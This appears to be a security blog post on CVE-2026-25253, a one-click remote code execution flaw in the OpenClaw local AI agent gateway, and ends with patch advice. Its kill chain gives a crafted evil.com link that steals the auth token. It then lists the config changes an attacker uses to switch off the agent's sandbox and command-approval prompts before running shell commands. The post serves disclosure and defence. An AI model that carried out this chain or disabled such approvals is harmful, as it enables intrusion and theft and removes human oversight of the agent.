If you've been experimenting with local AI agents or followed the wild ride of Clawdbot → Moltbot → OpenClaw, buckle up. A critical high-severity vulnerability (CVE-2026-25253, CVSS 8.8) has been publicly detailed that lets attackers achieve full remote code execution (RCE) on your machine with literally one click on a malicious link or visit to a booby-trapped webpage.
This isn't some theoretical supply-chain risk or prompt-injection trick—this is a logic flaw turned weaponized exploit chain that can compromise even localhost-only OpenClaw gateways using your own browser as the unwilling bridge.
What Exactly Is OpenClaw?
OpenClaw (GitHub: openclaw/openclaw) is the rebranded, open-source evolution of the viral AI personal assistant formerly known as Clawdbot and Moltbot. It runs as a local "gateway" on your machine, giving an AI agent broad system access: read/write files, execute shell commands, browse the web, interact with apps, manage emails/Slack/WhatsApp, and more—depending on what tools/permissions you grant.
Hundreds of thousands of developers and power users run it because it's powerful, local-first, and free. But that power comes with massive privilege: the agent effectively becomes a superuser on your host.
The Bug: CVE-2026-25253 – Token Exfiltration → Full Gateway Takeover
Discovered and demonstrated by security researcher Mav Levin (DepthFirst), the root cause is shockingly simple:
- The Control UI (the web interface users interact with) blindly trusts a gatewayUrl query parameter in URLs.
- When loading, it auto-connects via WebSocket to whatever URL is supplied—without validating origin or asking for confirmation.
- During that connection, it sends your authentication token (with high-privilege scopes like operator.admin and operator.approvals).
Kill chain in milliseconds:
- Victim clicks a crafted link (e.g., https://evil.com/steal?gatewayUrl=ws://localhost:18789) or visits a malicious site.
- JavaScript on the attacker's page opens a WebSocket to the victim's local OpenClaw gateway (even if bound to 127.0.0.1).
- The gateway happily accepts the connection (no origin check) and sends the auth token back to the attacker's server.
- Attacker uses the stolen token to reconnect, then:
- Disables sandboxing (tools.exec.host = "gateway")
- Turns off command approval prompts (exec.approvals.set ask: "off")
- Invokes node.invoke to run arbitrary shell commands → full RCE on the host.
Even if your gateway is localhost-only and firewalled, the attack works because the victim's browser acts as the proxy—bypassing network restrictions entirely.
Impact: What an Attacker Gains
- Arbitrary command execution as the user running OpenClaw (often elevated privileges)
- Access to files, credentials, browser data, emails, chat histories, API keys
- Ability to pivot further (install persistence, exfiltrate crypto wallets, deploy ransomware)
- Works on unpatched versions before 2026.1.29 (released January 30, 2026)
The exploit is client-side JavaScript + unvalidated WebSocket origin — classic cross-site WebSocket hijacking combined with unsafe URL parameter handling (CWE-669: Incorrect Resource Transfer Between Spheres).
Timeline & Fix Status
- Vulnerability disclosed & PoC published: February 2, 2026 (DepthFirst blog + GitHub advisory GHSA-g8p2-7wf7-98mq)
- Patch released: January 30, 2026 → OpenClaw v2026.1.29 (origin validation + confirmation prompt added)
- Public exploit coverage: TheHackerNews, SOCRadar, The Register, CybersecurityNews, and more dropped detailed breakdowns today.
Urgent action items if you're running OpenClaw:
- Update immediately to v2026.1.29 or later
- Rotate all auth tokens / API keys used in the agent
- Review recent gateway logs for suspicious WebSocket connections
- Consider restricting the Control UI to trusted networks only
- Audit granted tools/permissions — disable anything unnecessary
- If exposed on the public internet (Shodan shows thousands), assume compromise and rebuild
Why This Matters in the Bigger Picture
OpenClaw's rapid evolution from hobby project to widely adopted local AI agent highlights a recurring 2026 theme: powerful local agents = powerful local attack surface.
We're seeing:
- Malicious "skills" uploaded to ClawHub
- Backdoored VS Code extensions pretending to be official
- Prompt-injection risks in agents that read untrusted content
When your AI can exec shell commands, read your Slack, and browse phishing sites on your behalf... one logic flaw or supply-chain compromise can hand over the keys to everything.
Patch fast, stay paranoid about links, and think twice before giving agents broad system access.
Have you been running Clawdbot/Moltbot/OpenClaw? Already patched? Seen any weird gateway traffic? Drop your thoughts below—let's discuss.